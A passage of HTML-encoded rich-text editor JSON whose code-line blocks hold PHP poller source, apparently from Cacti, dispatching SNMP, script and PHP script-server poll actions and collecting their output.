?&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DKgg-1670945832044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Md0z-1670945832043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AND local_data_id = ?&#39;,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sJZx-1670945832046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cI9a-1670945832045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            array($host_id, $local_data_id));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E95Y-1670945832048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrPK-1670945832047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ewpz-1670945832050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vt8L-1670945832049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;         $script_server_calls = db_fetch_cell_prepared(&#39;SELECT COUNT(*)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IkdZ-1670945832052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jKOZ-1670945832051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            FROM poller_item&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vd72-1670945832054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jxuc-1670945832053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            WHERE host_id = ?&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;muFQ-1670945832056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;clZJ-1670945832055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AND local_data_id = ?&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XAv3-1670945832058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l2wh-1670945832057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AND action = 2&#39;,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rWKL-1670945832060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2l9S-1670945832059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            array($host_id, $local_data_id));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I6EF-1670945832062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hh1l-1670945832061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HxpW-1670945832064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y0at-1670945832063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;         if (cacti_sizeof($items)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eWsz-1670945832066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RLis-1670945832065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            foreach($items as $item) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8EXt-1670945832068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HfDP-1670945832067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               switch ($item[&#39;action&#39;]) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R3GO-1670945832070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3ne-1670945832069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               case POLLER_ACTION_SNMP: /* snmp */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BHBC-1670945832072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccDK-1670945832071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  if (($item[&#39;snmp_version&#39;] == 0) || (($item[&#39;snmp_community&#39;] == &#39;&#39;) &amp;&amp; ($item[&#39;snmp_version&#39;] != 3))) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cjOF-1670945832074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3mh-1670945832073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XRVu-1670945832076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QHwK-1670945832075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k2FB-1670945832078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yGgl-1670945832077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $host = db_fetch_row_prepared(&#39;SELECT ping_retries, max_oids FROM host WHERE hostname = ?&#39;, array($item[&#39;hostname&#39;]));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nGNf-1670945832080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8CW2-1670945832079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $session = cacti_snmp_session($item[&#39;hostname&#39;], $item[&#39;snmp_community&#39;], $item[&#39;snmp_version&#39;],&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aWhA-1670945832082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vko8-1670945832081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $item[&#39;snmp_username&#39;], $item[&#39;snmp_password&#39;], $item[&#39;snmp_auth_protocol&#39;], $item[&#39;snmp_priv_passphrase&#39;],&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xaYo-1670945832085&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;44EL-1670945832084&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $item[&#39;snmp_priv_protocol&#39;], $item[&#39;snmp_context&#39;], $item[&#39;snmp_engine_id&#39;], $item[&#39;snmp_port&#39;],&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;418P-1670945832087&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IS7q-1670945832086&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $item[&#39;snmp_timeout&#39;], $host[&#39;ping_retries&#39;], $host[&#39;max_oids&#39;]);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fQsu-1670945832089&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VNYz-1670945832088&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ixkr-1670945832091&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L9s7-1670945832090&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     if ($session === false) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mac5-1670945832093&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BGty-1670945832092&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3tYb-1670945832095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EyLT-1670945832094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gGm0-1670945832097&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LJD3-1670945832096&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $output = cacti_snmp_session_get($session, $item[&#39;arg1&#39;]);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EQHr-1670945832099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gjFo-1670945832098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $session-&gt;close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bWzh-1670945832101&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O03A-1670945832100&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s1Ka-1670945832103&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wCTP-1670945832102&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gpf6-1670945832105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aPdg-1670945832104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     if (prepare_validate_result($output) === false) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jHhz-1670945832107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sXri-1670945832106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (strlen($output) &gt; 20) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YQdW-1670945832109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9QbE-1670945832108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                           $strout = 20;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b576-1670945832111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BCBi-1670945832110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mqkB-1670945832113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qVNp-1670945832112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                           $strout = strlen($output);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BWAj-1670945832115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DYPG-1670945832114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wBJU-1670945832117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9lTD-1670945832116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G7Fx-1670945832119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X50z-1670945832118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToUW-1670945832121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;miga-1670945832120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WYBx-1670945832123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dOJC-1670945832122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eOnV-1670945832125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwWo-1670945832124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jlab-1670945832127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L7jh-1670945832126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;value&#39;]         = $output;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LFpL-1670945832129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2c4R-1670945832128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EvIN-1670945832131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DQv0-1670945832130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0YuZ-1670945832133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rZzI-1670945832132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uG1o-1670945832135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bFI7-1670945832134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IoZn-1670945832137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a3a2-1670945832136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               case POLLER_ACTION_SCRIPT: /* script (popen) */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A0nF-1670945832139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vkJ6-1670945832138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $output = trim(exec_poll($item[&#39;arg1&#39;]));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HrFO-1670945832141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rZnm-1670945832140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e2LH-1670945832143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GhsK-1670945832142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  if (prepare_validate_result($output) === false) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fk6o-1670945832145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1l8d-1670945832144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     if (strlen($output) &gt; 20) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HiTA-1670945832147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WC9J-1670945832146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $strout = 20;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7fx-1670945832149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdiG-1670945832148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AIDU-1670945832151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g57s-1670945832150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        $strout = strlen($output);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ugyY-1670945832153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XvC-1670945832152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EY4q-1670945832155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r2el-1670945832154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l0wg-1670945832157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QPPX-1670945832156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     $output = &#39;U&#39;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L2LT-1670945832159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IN9M-1670945832158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZUAK-1670945832161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FIz-1670945832160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uRQe-1670945832163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D7AO-1670945832162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;value&#39;]         = $output;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;geQT-1670945832166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kgv9-1670945832164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dpnP-1670945832168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WHOB-1670945832167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tckt-1670945832170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1iVd-1670945832169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6RSr-1670945832172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zjzd-1670945832171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PK90-1670945832174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;basU-1670945832173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEbV-1670945832176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ak6o-1670945832175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  $cactides = array(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c5t0-1670945832178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vEQU-1670945832177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     0 =&gt; array(&#39;pipe&#39;, &#39;r&#39;), // stdin is a pipe that the child will read from&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQiQ-1670945832180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VgDi-1670945832179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     1 =&gt; array(&#39;pipe&#39;, &#39;w&#39;), // stdout is a pipe that the child will write to&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HxhN-1670945832182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zJCa-1670945832181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                     2 =&gt; array(&#39;pipe&#39;, &#39;w&#39;)  // stderr is a pipe to write 